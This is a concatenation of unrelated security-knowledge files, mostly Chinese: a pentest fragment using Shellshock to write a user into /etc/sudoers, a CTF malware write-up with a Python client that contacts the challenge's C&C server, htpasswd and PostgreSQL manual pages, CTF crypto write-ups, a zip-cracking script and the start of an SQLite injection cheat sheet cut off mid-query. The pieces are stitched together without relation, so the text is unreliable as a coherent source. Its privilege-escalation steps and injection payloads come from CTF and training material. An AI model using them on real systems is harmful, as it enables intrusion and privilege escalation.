``` 我再次使用 Webmin 文件包含来调用我在 tmp 目录中创建的文件,并使用我在用户代理中使用 [shellshock的](https://en.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-7186_and_CVE-2014-7187_Details)[篡改数据将](https://addons.mozilla.org/en-US/firefox/addon/tamper-data/)**vmware**添加到**/etc/sudoers**文件。 ![img](../../.gitbook/assets/gfhj4536234dsfds.PNG) 然后直接`su root`
sec-knowleage
# APT42 - Part 1 (re, 288 pts, 22 solves) > We have detected weird traffic on our network and we cannot figure out the source. Forensics didn't find anything besides maybe the NTP service binaries which have been modified recently on some hosts. We ran them through the sandboxes and they seem to work as intended, can you do a quick manual pass? [ntpdate](ntpdate) We're given a binary that is supposed to be creating some weird network traffic, let's open it up in IDA. At a first glance the binary looks quite normal but after some investigation, the deeper functions turn out to be pretty interesting: ![function.png](function.png) The trick here is quite easy though: * `call $+5` pushes the next instructions address onto stack * `add [rsp+48h+var_48], 10h` adds 16 bytes to the pushed address * `retn` pops the address from top of the stack and jumps to it (in this case 0x408E59) The binary works fine in practice but reverse analysing it becomes a bit tiresome, so what we're gonna do is patch the binary to skip the [position-independent code](https://en.wikipedia.org/wiki/Position-independent_code) tricks and jumps straight to the code: ![patched.png](patched.png) As you can see, after correcting the code, IDA has automatically noticed the changes and even correctly recognized a function. Cool! Next problem we're gonna tackle is string and api function encryption: ![encrypted_sleep.png](encrypted_sleep.png) It might look intimidating at first but if we break it down, we end up with just a bunch of mathematical operations. Of course we could try [implementing the decryption](https://pastebin.com/raw/2uX6vwSf) in python but this is a CTF and every last minute counts! So instead of that we're goonna use a smart little IDA emulator called [uEmu](https://github.com/alexhude/uEmu) All we have to do now is: Find the beginning of the encryption: ![encryption.png](encryption.png) Set a breakpoint at the end and let the emulator do its thing: ![emulator.png](emulator.png) Success, we (probably) got the cnc address! If we now apply these deobfuscation methods to the whole binary we should get a good set of not-so-ugly functions. Becase the challanges description talked about network traffic this is what we're gonna focus on. Now that we have the cnc address we're also going to need the port, we could try reversing it just like we did with the host. But let's be honest, running a nmap scan in the background while we work on other stuff will be much quicker: ``` michal@vps266773:~$ nmap -Pn mlwr-part1.ctfcompetition.com Starting Nmap 7.40 ( https://nmap.org ) at 2018-06-24 23:58 CEST Completed Connect Scan at 00:02, 189.48s elapsed (1000 total ports) Nmap scan report for mlwr-part1.ctfcompetition.com (35.233.98.21) Host is up (0.012s latency). rDNS record for 35.233.98.21: 21.98.233.35.bc.googleusercontent.com Scanned at 2018-06-24 23:58:53 CEST for 189s Not shown: 999 filtered ports PORT STATE SERVICE 4242/tcp open vrml-multi-use ``` Looks good! Data is exchanged using chunks that can be represented as a following c structure: ``` c struct { DWORD length, QWORD bot_id, BYTE[n] data, BYTE checksum } ``` There are 2 functions where the chunk packing method is used. One looks like a back-connecting shell that accepts commands and returns the output. The second one is a lot smaller with a `part1 flag` string passed to our chunk packing function at the beginning, let's try that maybe? We're gonna implement our chunk communication using python with pwntools: ``` python from pwn import * context.log_level = 'debug' def xor_to_byte(data): return reduce(lambda x,y: x ^ y, map(ord, data), 0) def get_bot_id(): a = 0xdeadbeef b = (a * 0x5851F42D4C957F2D + 1) & 0xffffffff00000000 return a | b def send_packet(r, data): bot_id = p64(get_bot_id()) r.send(p32(len(data) + 1 + 8)) # 4 bytes for bot_id and 1 byte for checksum r.send(bot_id) r.send(data) r.send(chr(xor_to_byte(bot_id) ^ xor_to_byte(data))) def receive_packet(r): size = u32(r.recv(4)) bot_id = u64(r.recv(8)) data = r.recv(size - 1 - 8) xored = ord(r.recv(1)) return data r = remote('mlwr-part1.ctfcompetition.com', 4242) send_packet(r, 'part1 flag') r.interactive() ``` Let's run it? ![got_flag.png](got_flag.png) That wasn't so bad!
sec-knowleage
htpasswd === apache服务器创建密码认证文件 ## 补充说明 **htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。 ### 语法 ### htpasswd(选项)(参数) ### 选项 ```shell -c:创建一个加密文件; -n:不更新加密文件,只将加密后的用户名密码显示在屏幕上; -m:默认采用MD5算法对密码进行加密; -d:采用CRYPT算法对密码进行加密; -p:不对密码进行进行加密,即明文密码; -s:采用SHA算法对密码进行加密; -b:在命令行中一并输入用户名和密码而不是根据提示输入密码; -D:删除指定的用户。 ``` ### 参数 * 用户:要创建或者更新密码的用户名; * 密码:用户的新密码。 ### 实例 **利用htpasswd命令添加用户** ```shell htpasswd -bc .passwd www.jsdig.com php ``` 在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式。 **在原有密码文件中增加下一个用户** ```shell htpasswd -b .passwd Jack 123456 ``` 去掉`-c`选项,即可在第一个用户之后添加第二个用户,依此类推。 **不更新密码文件,只显示加密后的用户名和密码** ```shell htpasswd -nb Jack 123456 ``` 不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码。 **利用htpasswd命令删除用户名和密码** ```shell htpasswd -D .passwd Jack ``` **利用htpasswd命令修改密码** ```shell htpasswd -D .passwd Jack htpasswd -b .passwd Jack 123456 ``` 即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE TABLE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE TABLE \- 定义一个新表 .SH SYNOPSIS .sp .nf CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE \fItable_name\fR ( { \fIcolumn_name\fR \fIdata_type\fR [ DEFAULT \fIdefault_expr\fR ] [ \fIcolumn_constraint\fR [, ... ] ] | \fItable_constraint\fR | LIKE \fIparent_table\fR [ { INCLUDING | EXCLUDING } DEFAULTS ] } [, ... ] ) [ INHERITS ( \fIparent_table\fR [, ... ] ) ] [ WITH OIDS | WITHOUT OIDS ] [ ON COMMIT { PRESERVE ROWS | DELETE ROWS | DROP } ] where \fIcolumn_constraint\fR is: [ CONSTRAINT \fIconstraint_name\fR ] { NOT NULL | NULL | UNIQUE | PRIMARY KEY | CHECK (\fIexpression\fR) | REFERENCES \fIreftable\fR [ ( \fIrefcolumn\fR ) ] [ MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ] [ ON DELETE \fIaction\fR ] [ ON UPDATE \fIaction\fR ] } [ DEFERRABLE | NOT DEFERRABLE ] [ INITIALLY DEFERRED | INITIALLY IMMEDIATE ] and \fItable_constraint\fR is: [ CONSTRAINT \fIconstraint_name\fR ] { UNIQUE ( \fIcolumn_name\fR [, ... ] ) | PRIMARY KEY ( \fIcolumn_name\fR [, ... ] ) | CHECK ( \fIexpression\fR ) | FOREIGN KEY ( \fIcolumn_name\fR [, ... ] ) REFERENCES \fIreftable\fR [ ( \fIrefcolumn\fR [, ... ] ) ] [ MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ] [ ON DELETE \fIaction\fR ] [ ON UPDATE \fIaction\fR ] } [ DEFERRABLE | NOT DEFERRABLE ] [ INITIALLY DEFERRED | INITIALLY IMMEDIATE ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE TABLE\fR 将在当前数据库创建一个新的, 初始为空的表。该表将由发出此命令的用户所有。 .PP 如果给出了模式名(比如,CREATE TABLE myschema.mytable ...), 那么表是在指定模式中创建的。否则它在当前模式中创建。临时表存在于一个特殊的模式里, 因此创建临时表的时候不能给出模式名。表名字必需和同一模式中其他表,序列,索引或者视图相区别。 .PP \fBCREATE TABLE\fR 还自动创建一个数据类型, 该数据类型代表对应该表一行的复合类型。 因此,表不能和同模式中的现有数据类型同名。 .PP 一个表的字段数不能超过 1600。(实际上,真正的限制比这低,因为还有元组长度的约束)。 .PP 可选的约束子句声明约束(或者测试),新行或者更新的行必须满足这些约束才能成功插入或更新。 约束是一个它是一个 SQL 对象,它以多种方式协助我们协助我们在表上定义有效的数值集合。 .PP 定义约束又两种方法:表约束和列约束。一个列约束是作为一个列定义的一部分定义的。 而表约束并不和某个列绑在一起, 它可以作用于多于一个列上。每个列约束也可以写成表约束; 如果某个约束只影响一个列,那么列约束只是符号上的简洁方式而已。 .SH "PARAMETERS 参数" .TP \fBTEMPORARY 或 TEMP\fR 如果声明了此参数,则该表创建为临时表。临时表在会话结束时自动删除, 或者是(可选)在当前事务的结尾(参阅下面的 ON COMMIT)。 现有同名永久表在临时表存在期间在本会话过程中是不可见的, 除非它们是用模式修饰的名字引用的。 任何在临时表上创建的索引也都会自动删除。 我们可以选择在 TEMPORARY 或 TEMP 前面放上 GLOBAL 或者 LOCAL。 这样对 PostgreSQL 没有任何区别,可以参阅 Compatibility [\fBcreate_table\fR(7)]。 .TP \fB\fItable_name\fB\fR 要创建的表的名字(可以用模式修饰)。 .TP \fB\fIcolumn_name\fB\fR 在新表中要创建的字段名字。 .TP \fB\fIdata_type\fB\fR 该字段的数据类型。它可以包括数组说明符。 .TP \fBDEFAULT\fR DEFAULT 子句给它所出现的字段一个缺省数值。 该数值可以是任何不含变量的表达式(不允许使用子查询和对本表中的其它字段的交叉引用)。 缺省表达式的数据类型必须和字段类型匹配。 缺省表达式将被用于任何未声明该字段数值的插入操作。 如果字段上没有缺省值,那么缺省是 NULL。 .TP LIKE 子句声明一个表,新表自动从这个表里面继承所有字段名, 他们的数据类型,以及非空约束。 和 INHERITS 不同,新表与继承过来的表之间在创建动作完毕之后是完全无关的。 插入新表的数据不会在父表中表现出来。 字段缺省表达式只有在声明了 INCLUDING DEFAULTS 之后才会继承过来。 缺省是排除缺省表达式。 .TP \fBINHERITS ( \fIparent_table\fB [, ... ] )\fR 可选的 INHERITS 子句声明一列表,这个新表自动从这列表中继承所有字段。 如果在多于一个父表中存在同名的字段,那么就会报告一个错误,除非这些字段的数据类型在每个父表里都是匹配的。 如果没有冲突,那么重复的字段在新表中融合成一个字段。 如果新表的字段名列表中包括和继承的字段同名的,那么它的数据类型也必须和上面一样与继承字段匹配,并且这些字段定义会融合成一个。 不过,同名的继承和新字段声明可以声明不同的约束:所有的继承过来的约束以及声明的约束都融合到一起,并且全部应用于新表。 如果新表为该字段明确的声明了一个缺省数值,那么此缺省数值覆盖任何来自继承字段声明的缺省值。 否则,任何为该字段声明了缺省数值的父表都必须声明相同的缺省,否则就会报告一个错误。 .TP \fBWITH OIDS\fR .TP \fBWITHOUT OIDS\fR 这个可选的子句声明新表中的行是否应该拥有赋予它们的 OID (对象标识)。 缺省是有 OID。(如果新表从任何有 OID 的表继承而来,那么就算这条命令说了 WITHOUT OIDS, 也会强制 WITH OIDS。) 声明 WITHOUT OIDS 允许用户禁止为行或者表生成 OID。 这么做对大表是值得的,因为这样可以减少 OID 消耗并且推迟 32 位 OID 计数器的消耗。 一旦该计数器重叠,那么就不能再假设 OID 的唯一,这样它的实用性就大打折扣。 声明 WITHOUT OIDS 还会减少在磁盘上存储每行的空间,每行减少 4 字节,因此也可以改进性能。 .TP \fBCONSTRAINT \fIconstraint_name\fB\fR 列或表约束的可选名字。如果没有声明,则由系统生成一个名字。 .TP \fBNOT NULL\fR 字段不允许包含 NULL 数值。 .TP \fBNULL\fR 该字段允许包含 NULL 数值。这是缺省。 这个子句的存在只是为和那些非标准 SQL 数据库兼容。 我们不建议在新应用中使用它。 .TP \fBUNIQUE (column constraint)\fR .TP \fBUNIQUE ( \fIcolumn_name\fB [, ... ] ) (table constraint)\fR UNIQUE 声明一个规则,表示一个表里的一个或者多个独立的字段组合的分组只能包含唯一的数值。 表的唯一约束的行为和列约束的一样,只不过多了跨多行的能力。 对于唯一约束的用途而言,系统认为 NULL 数值是不相等的。 每个唯一表约束都必须命名一个字段的集合,该集合必须和其它唯一约束命名字段集合或者该表定义的主键约束不同。 (否则就只是同样的约束写了两次。) .TP \fBPRIMARY KEY (column constraint)\fR .TP \fBPRIMARY KEY ( \fIcolumn_name\fB [, ... ] ) (table constraint)\fR 主键约束表明表中的一个或者一些字段只能包含唯一(不重复)非 NULL 的数值。 从技术上讲,PRIMARY KEY 只是 UNIQUE 和 NOT NULL 的组合,不过把一套字段标识为主键同时也体现了模式设计的元数据, 因为主键意味着其它表可以拿这套字段用做行的唯一标识。 一个表只能声明一个主键,不管是作为字段约束还是表约束。 主键约束应该定义在同个表上的一个与其它唯一约束所定义的不同的字段集合上。 .TP \fBCHECK (\fIexpression\fB)\fR CHECK 约束声明一个生成布尔结果的子句, 一次插入或者更新操作若想成功则里面的新行或者被更新的行必须满足这个条件。 声明为字段约束的检查约束应该只引用该字段的数值,而在表约束里出现的表达式可以引用多个字段。 目前,CHECK 表达式不能包含子查询也不能引用除当前行字段之外的变量。 .TP \fBREFERENCES \fIreftable\fB [ ( \fIrefcolumn\fB ) ] [ MATCH \fImatchtype\fB ] [ ON DELETE \fIaction\fB ] [ ON UPDATE \fIaction\fB ] (column constraint)\fR .TP \fBFOREIGN KEY ( \fIcolumn\fB [, ... ] )\fR 这些子句声明一个外键约束,外键约束声明一个由新表中一列或者多列组成的组应该只包含匹配引用的表 reftable 中对应引用的字段 refcolumn 中的数值。 如果省略 refcolumn, 则使用 reftable 的主键。 被引用字段必须是被引用表中的唯一字段或者主键。 向这些字段插入的数值将使用给出的匹配类型与参考表中的参考列中的数值进行匹配。 有三种匹配类型:MATCH FULL, MATCH PARTIAL,和 MATCH SIMPLE,它也是缺省匹配类型。 MATCH FULL 将不允许一个多字段外键的字段为 NULL,除非所有外键字段都为 NULL。 MATCH SIMPLE 允许某些外键字段为 NULL 而外键的其它部分不是 NULL。MATCH PARTIAL 还没实现。 另外,当被参考字段中的数据改变的时候,那么将对本表的字段中的数据执行某种操作。 ON DELETE 子句声明当被参考表中的被参考行将被删除的时候要执行的操作。 类似,ON UPDATE 子句声明被参考表中被参考字段更新为新值的时候要执行的动作。 如果该行被更新,但被参考的字段实际上没有变化,那么就不会有任何动作。 下面是每个子句的可能的动作: .RS .TP \fBNO ACTION\fR 生成一个错误,表明删除或者更新将产生一个违反外键约束的动作。 它是缺省动作。 .TP \fBRESTRICT\fR 和 NO ACTION 一样,只是动作不可推迟, 即使约束剩下的部分是可以推迟的也马上发生。 .TP \fBCASCADE\fR 删除任何引用了被删除行的行,或者分别把引用行的字段值更新为被参考字段的新数值。 .TP \fBSET NULL\fR 把引用行数值设置为 NULL。 .TP \fBSET DEFAULT\fR 把引用列的数值设置为它们的缺省值。 .RE .PP 如果主键字段经常更新,那么我们给 REFERENCES 字段增加一个索引可能是合适的,这样与 REFERENCES 字段相关联的 NO ACTION 和 CASCADE 动作可以更有效地执行。 .TP \fBDEFERRABLE\fR .TP \fBNOT DEFERRABLE\fR 这两个关键字设置该约束是否可推迟。一个不可推迟的约束将在每条命令之后马上检查。 可以推迟的约束检查可以推迟到事务结尾(使用 SET CONSTRAINTS [\fBset_constraints\fR(7)] 命令)。 缺省是 NOT DEFERRABLE。目前只有外键约束接受这个子句。所有其它约束类型都是不可推迟的。 .TP \fBINITIALLY IMMEDIATE\fR .TP \fBINITIALLY DEFERRED\fR 如果约束是可推迟的,那么这个子句声明检查约束的缺省时间。 如果约束是 INITIALLY IMMEDIATE, 那么每条语句之后就检查它。这个是缺省。如果约束是 INITIALLY DEFERRED,那么只有在事务结尾才检查它。 约束检查的时间可以用 SET CONSTRAINTS [\fBset_constraints\fR(7)] 命令修改。 .TP \fBON COMMIT\fR 我们可以用 ON COMMIT 控制临时表在事务块结尾的行为。这三个选项是: .RS .TP \fBPRESERVE ROWS\fR 在事务结尾不发生任何特定的动作。这是缺省行为。 .TP \fBDELETE ROWS\fR 临时表的所有行在每次事务结尾都被删除。实际上,在每次提交的时候都自动 \fBtruncate\fR(7) 。 .TP \fBDROP\fR 在当前事务块的结尾,临时表将被删除。 .RE .PP .SH "NOTES 注意" .TP 0.2i \(bu 如果一个应用使用了 OID 标识表中的特定行,那么我们建议在该表的 oid 字段上创建一个唯一约束,以确保该表的 OID 即使在计数器重叠之后也是唯一的。如果你需要一个整个数据库范围的唯一标识, 那么就要避免假设 OID 是跨表唯一的,你可以用 tableoid 和行 OID 的组合来实现这个目的。 (将来的 PostgreSQL 很可能为每个表使用独立的 OID 计数器, 因此包括 tableoid 组成数据库范围内的唯一标识将是必须的,而不是可选的。) .sp .RS .B "提示:" 对那些没有主键的表,我们不建议使用 WITHOUT OIDS, 因为如果既没有 OID 又没有唯一数据键字,那么就很难标识特定的行。 .RE .sp .TP 0.2i \(bu PostgreSQL 自动为每个唯一约束和主键约束创建一个索引以确保唯一性。 因此,我们不必为主键字段创建明确的索引。(参阅 CREATE INDEX [\fBcreate_index\fR(7)]获取更多信息。) .TP 0.2i \(bu 唯一约束和主键在目前的实现里是不能继承的。 这样,如果把继承和唯一约束组合在一起会导致无法运转。 .SH "EXAMPLES 例子" .PP 创建表 films 和 distributors: .sp .nf CREATE TABLE films ( code char(5) CONSTRAINT firstkey PRIMARY KEY, title varchar(40) NOT NULL, did integer NOT NULL, date_prod date, kind varchar(10), len interval hour to minute ); .sp .fi .sp .nf CREATE TABLE distributors ( did integer PRIMARY KEY DEFAULT nextval('serial'), name varchar(40) NOT NULL CHECK (name <> '') ); .sp .fi .PP 创建一个带有 2 维数组的表: .sp .nf CREATE TABLE array ( vector int[][] ); .sp .fi .PP 为表 films 定义一个唯一表约束。 唯一表约束可以在表的一个或多个字段上定义: .sp .nf CREATE TABLE films ( code char(5), title varchar(40), did integer, date_prod date, kind varchar(10), len interval hour to minute, CONSTRAINT production UNIQUE(date_prod) ); .sp .fi .PP 定义一个检查列约束: .sp .nf CREATE TABLE distributors ( did integer CHECK (did > 100), name varchar(40) ); .sp .fi .PP 定义一个检查表约束: .sp .nf CREATE TABLE distributors ( did integer, name varchar(40) CONSTRAINT con1 CHECK (did > 100 AND name <> '') ); .sp .fi .PP 为表 films 定义一个主键表约束。 主键表约束可以定义在表上的一个或多个字段。 .sp .nf CREATE TABLE films ( code char(5), title varchar(40), did integer, date_prod date, kind varchar(10), len interval hour to minute, CONSTRAINT code_title PRIMARY KEY(code,title) ); .sp .fi .PP 为表 distributors 定义一个主键约束。 下面两个例子是等效的,第一个例子使用了表约束语法, 第二个使用了列约束表示法。 .sp .nf CREATE TABLE distributors ( did integer, name varchar(40), PRIMARY KEY(did) ); .sp .fi .sp .nf CREATE TABLE distributors ( did integer PRIMARY KEY, name varchar(40) ); .sp .fi .PP 下面这个例子给字段 name 赋予了一个文本常量缺省值, 并且将字段 did 的缺省值安排为通过选择序列对象的下一个值生成。 modtime 的缺省值将是该行插入的时候的时间。 .sp .nf CREATE TABLE distributors ( name varchar(40) DEFAULT 'Luso Films', did integer DEFAULT nextval('distributors_serial'), modtime timestamp DEFAULT current_timestamp ); .sp .fi .PP 在表 distributors 上定义两个 NOT NULL 列约束,其中之一明确给出了名字: .sp .nf CREATE TABLE distributors ( did integer CONSTRAINT no_null NOT NULL, name varchar(40) NOT NULL ); .sp .fi .PP 为 name 字段定义一个唯一约束: .sp .nf CREATE TABLE distributors ( did integer, name varchar(40) UNIQUE ); .sp .fi 上面的和下面这样作为一个表约束声明是一样的: .sp .nf CREATE TABLE distributors ( did integer, name varchar(40), UNIQUE(name) ); .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCREATE TABLE\fR 遵循 SQL92 和 SQL99 的一个子集,一些例外情况在下面列出。 .SS "TEMPORARY TABLES 临时表" .PP 尽管 CREATE TEMPORARY TABLE 的语法和 SQL 标准的类似, 但是效果是不同的。在标准里,临时表只是定义一次并且自动存在(从空内容开始)于任何需要它们的会话中。 PostgreSQL 要求每个会话为它们使用的每个临时表发出它们自己的 CREATE TEMPORARY TABLE 命令。 这样就允许不同的会话将相同的临时表名字用于不同的目的,而标准的实现方法则把一个临时表名字约束为具有相同的表结构。 .PP 标准定义的临时表的行为被广泛地忽略了。PostgreSQL 在这方面上地行为类似于许多其它 SQL 数据库 .PP 标准中在全局和局部地临时表之间的区别在 PostgreSQL 里不存在,因为这种区别取决于模块的概念,而 PostgreSQL 没有这个概念。出于兼容考虑,PostgreSQL 将接受临时表声明中的 GLOBAL 和 LOCAL 关键字, 但是他们没有作用。 .PP 临时表的 ON COMMIT 子句也类似于 SQL 标准, 但是有些区别。如果忽略了 ON COMMIT 子句,SQL 声明缺省的行为是 ON COMMIT DELETE ROWS。 但是 PostgreSQL 里的缺省行为是 ON COMMIT PRESERVE ROWS。 在 SQL 里不存在 ON COMMIT DROP。 .SS "COLUMN CHECK CONSTRAINTS 字段检查约束" .PP SQL 标准说 CHECK 字段约束只能引用他们施用的字段; 只有 CHECK 表约束才能引用多个字段。PostgreSQL 并不强制这个限制;它把字段和表约束看作相同的东西。 .SS "NULL ``CONSTRAINT'' NULL约束" .PP NULL "约束"(实际上不是约束)是 PostgreSQL 对 SQL 标准的扩展, 包括它是为了和其它一些数据库系统兼容(以及为了和 NOT NULL 约束对称)。因为它是任何字段的缺省,所以它的出现只是噪音而已。 .SS "INHERITANCE 继承" .PP 通过 INHERITS 子句的多重继承是 PostgreSQL 语言的扩展。 SQL99(但不包括 SQL92)使用不同的语法和语义定义了单继承。 SQL99 风格的继承还没有在 PostgreSQL 中实现。 .SS "OBJECT IDS 对象ID" .PP PostgreSQL 的 OID 的概念不标准。 .SS "ZERO-COLUMN TABLES 零行表" .PP PostgreSQL 允许创建没有字段的表 (比如,CREATE TABLE foo();)。这是对 SQL 标准的扩展, 标准不允许存在零字段表。零字段表本身没什么用,但是禁止他们会给 ALTER TABLE DROP COLUMN带来很奇怪的情况,所以,这个时候忽视标准的限制好想很清楚。 .SH "SEE ALSO 参见" ALTER TABLE [\fBalter_table\fR(7)], DROP TABLE [\fBdrop_table\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
## 责任链(Chain Of Responsibility) ### Intent 使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链,并沿着这条链发送该请求,直到有一个对象处理它为止。 ### Class Diagram - Handler:定义处理请求的接口,并且实现后继链(successor) <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ca9f23bf-55a4-47b2-9534-a28e35397988.png"/> </div><br> ### Implementation ```java public abstract class Handler { protected Handler successor; public Handler(Handler successor) { this.successor = successor; } protected abstract void handleRequest(Request request); } ``` ```java public class ConcreteHandler1 extends Handler { public ConcreteHandler1(Handler successor) { super(successor); } @Override protected void handleRequest(Request request) { if (request.getType() == RequestType.TYPE1) { System.out.println(request.getName() + " is handle by ConcreteHandler1"); return; } if (successor != null) { successor.handleRequest(request); } } } ``` ```java public class ConcreteHandler2 extends Handler { public ConcreteHandler2(Handler successor) { super(successor); } @Override protected void handleRequest(Request request) { if (request.getType() == RequestType.TYPE2) { System.out.println(request.getName() + " is handle by ConcreteHandler2"); return; } if (successor != null) { successor.handleRequest(request); } } } ``` ```java public class Request { private RequestType type; private String name; public Request(RequestType type, String name) { this.type = type; this.name = name; } public RequestType getType() { return type; } public String getName() { return name; } } ``` ```java public enum RequestType { TYPE1, TYPE2 } ``` ```java public class Client { public static void main(String[] args) { Handler handler1 = new ConcreteHandler1(null); Handler handler2 = new ConcreteHandler2(handler1); Request request1 = new Request(RequestType.TYPE1, "request1"); handler2.handleRequest(request1); Request request2 = new Request(RequestType.TYPE2, "request2"); handler2.handleRequest(request2); } } ``` ```html request1 is handle by ConcreteHandler1 request2 is handle by ConcreteHandler2 ``` ### JDK - [java.util.logging.Logger#log()](http://docs.oracle.com/javase/8/docs/api/java/util/logging/Logger.html#log%28java.util.logging.Level,%20java.lang.String%29) - [Apache Commons Chain](https://commons.apache.org/proper/commons-chain/index.html) - [javax.servlet.Filter#doFilter()](http://docs.oracle.com/javaee/7/api/javax/servlet/Filter.html#doFilter-javax.servlet.ServletRequest-javax.servlet.ServletResponse-javax.servlet.FilterChain-)
sec-knowleage
# primitive, crypto This was quite an interesting challenge. We were given a Python code of a server running on their host. It generated and sent a random permutation of 256 bytes and treated it as substitution cipher. Our task was to supply a sequence of operations, that when applied to any byte `c`, would give `perm[c]`. The allowed operations were: - `ADD n`, `0 <= n < 256`, - `ROL n`, `0 <= n < 8`, - `XOR n`, `0 <= n < 256`. All of these were modulo 256. For example, let's say the the permutation was `(1, 2, 0, 3)` (for simplicity of the example, we use 2-bit numbers). Then one of the solutions would be: `ADD 3, ROL 1, XOR 2`, since number 0 after these operations would give 1, 1 maps to 2, 2 to 0, and 3 stays 3. It is hard to instantly think of a general algorithm to generate the needed sequence, so we had to split the task into simpler ones. The first thing we can do is rewriting the permutation as product of transpositions. For the example given above, this would be `swap(0, 1); swap(1, 2)`: ``` 0 1 2 3 x 1 0 2 3 x 1 2 0 3 ``` Now we need to just write a function that generates a sequence of operations that swaps two arbitrary numbers `x` and `y`, leaving the rest of the permutation as it was. This is still a pretty hard problem, so we again decomposed it into a set of simpler ones: we can first find operations `P(x, y)` that will map `x` to `0` and `y` to `1` with the other numbers allowed to move freely, then swap `0` and `1` (with other numbers in constant positions), then apply the first set of operations in inverse (that is, `P^-1(x, y)`). Thus we have reduced original problem to finding `swap(0, 1)` and `P(x, y)` for any `x` and `y`. We implemented a C++ code that brute forces possible solutions to these. The minimal `swap(0, 1)` implementation is `ADD 254, ROL 7, ADD 1, ROL 1`. While trying to search for `P(x, y)`, we noticed there are too many possible solution candidates for unoptimized brute force to be feasible. We first ran it on smaller `N` (number of bits in the numbers), and then noticed that it is enough to consider sets of operations of the following form: `ADD a, ROL b, XOR c, ADD d`. This massively reduced the search space. After this and a few smaller optimizations, we managed to fit all possible candidates in memory and calculated all `P(x, y)` (using `doit.cpp`) and saved them as Python array (in file `tab.py`). The final script, combining the above insights, is available in `doit.py`.
sec-knowleage
import struct import sys import hashlib from better_zip import * """ [03:17-adam ~/CTF/gctf/zip]" python notes.py stuff.zip after_ins.png aabbccddaabbccddaabbccddaabbccddaabbccdd "\xf5Q\xcd\xb9\xab\x9a\x89h\xe4\xed\xe4\xd6\xc8\x98\x8e\xac\xf0'\xd3\xa0" LSFR: 20 467988 872949 LSFR: 20 644596 703388 LSFR: 20 317451 559514 LSFR: 20 200965 974406 LSFR: 20 260557 579300 LSFR: 20 71238 584076 LSFR: 20 945718 520364 LSFR: 20 409044 658738 'zt\xbb\xe4\r\x07$\x11r\xbd\x97\xbd\xb7\x99f\xdd\xde\xc6<Q' LSFR: 20 943177 750714 LSFR: 20 102160 56907 LSFR: 20 636971 74759 LSFR: 20 584802 775969 LSFR: 20 904372 507287 LSFR: 20 99297 420251 LSFR: 20 844474 450269 LSFR: 20 571703 332748 """ s = open(sys.argv[1], "rb").read() datalen = struct.unpack("<I", s[18:22])[0] tgtlen = datalen - 40 - 32 # 0x16dea print hex(tgtlen) fname = "flag.png" #fname = "after_ins.png" data = s[s.find(fname)+len(fname):][:datalen] key_iv = data[:20] cipher_iv = data[20:40] print repr(cipher_iv) enc = data[40:][:tgtlen] def find_polys(iv, expected): polys = [] for poly in range(2**20): l = LFSR(poly, iv, 20) prev = 0 bad = False for i, what in expected: while prev != i: prev += 1 l.get_bit() prev += 1 bit = l.get_bit() if bit != what: bad = True break if poly % 2**14 == 0: print poly if not bad: polys.append(poly) return polys known = { 20: "\x00", # Hi height 21: "\x00", # Hi height 24: "\x08", # Bit depth 25: "\x02", # Color type [?] 26: "\x00", # Compression 27: "\x00", # Filter type 28: "\x00", # No interlace 33: "\x00", # chunk high byte # 37: "I", # 38: "D", # 39: "A", # 40: "T", # 00 00 00 00 49 45 4e 44 ae 42 60 82 tgtlen - 12: "\x00", tgtlen - 11: "\x00", tgtlen - 10: "\x00", tgtlen - 9: "\x00", tgtlen - 8: "I", tgtlen - 7: "E", tgtlen - 6: "N", tgtlen - 5: "D", tgtlen - 4: "\xae", tgtlen - 3: "\x42", tgtlen - 2: "\x60", tgtlen - 1: "\x82", } cipher_iv_stream = BitStream(cipher_iv) for bit in range(8): expected = [] for c in sorted(known): expected.append((c, ((ord(known[c]) ^ ord(enc[c])) >> bit) & 1)) iv = cipher_iv_stream.get_bits(20) print find_polys(iv, expected), "for", bit
sec-knowleage
package org.vulhub; import junit.framework.Test; import junit.framework.TestCase; import junit.framework.TestSuite; /** * Unit test for simple App. */ public class AppTest extends TestCase { /** * Create the test case * * @param testName name of the test case */ public AppTest( String testName ) { super( testName ); } /** * @return the suite of tests being tested */ public static Test suite() { return new TestSuite( AppTest.class ); } /** * Rigourous Test :-) */ public void testApp() { assertTrue( true ); } }
sec-knowleage
# SQLite Injection ## Summary * [SQLite comments](#sqlite-comments) * [SQLite version](#sqlite-version) * [String based - Extract database structure](#string-based---extract-database-structure) * [Integer/String based - Extract table name](#integerstring-based---extract-table-name) * [Integer/String based - Extract column name](#integerstring-based---extract-column-name) * [Boolean - Count number of tables](#boolean---count-number-of-tables) * [Boolean - Enumerating table name](#boolean---enumerating-table-name) * [Boolean - Extract info](#boolean---extract-info) * [Boolean - Error based](#boolean---error-based) * [Time based](#time-based) * [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database) * [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension) * [References](#references) ## SQLite comments ```sql -- /**/ ``` ## SQLite version ```sql select sqlite_version(); ``` ## String based - Extract database structure ```sql SELECT sql FROM sqlite_schema ``` ## Integer/String based - Extract table name ```sql SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ``` Use limit X+1 offset X, to extract all tables. ## Integer/String based - Extract column name ```sql SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name' ``` For a clean output ```sql SELECT 